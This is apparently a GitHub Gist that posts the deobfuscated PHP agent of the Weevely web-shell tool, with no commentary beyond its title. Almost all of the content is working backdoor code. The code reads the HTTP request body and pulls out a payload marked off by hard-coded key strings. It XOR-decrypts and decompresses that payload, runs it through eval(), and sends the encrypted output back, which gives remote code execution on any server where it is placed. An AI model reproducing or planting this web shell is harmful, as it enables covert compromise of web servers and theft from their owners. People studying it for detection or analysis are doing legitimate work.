Created
February 14, 2020 02:13
-
-
Save niloct/9066ecd54bac4a8cecdb08917d6a2d36 to your computer and use it in GitHub Desktop.
Weevely's backdoor PHP code, unobfuscated
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$k="97bf34d3";$kh="1a8710e6b164";$kf="9fd33357f783";$p="5ZGtAGceuaFv00jx"; | |
function x($t,$k){ | |
$c=strlen($k); | |
$l=strlen($t); | |
$o=""; | |
for($i=0; $i<$l; ){ | |
for($j=0; ($j<$c && $i<$l); $j++,$i++) | |
{ | |
$o .= $t{$i}^$k{$j}; | |
} | |
} | |
return $o; | |
} | |
if (preg_match("/$kh(.+)$kf/",file_get_contents("php://input"),$m)==1) { | |
ob_start(); | |
eval(gzuncompress(x(base64_decode($m[1]),$k))); | |
$o=ob_get_contents(); | |
ob_end_clean(); | |
$r=base64_encode(x(gzcompress($o),$k)); | |
print("$p$kh$r$kf"); | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment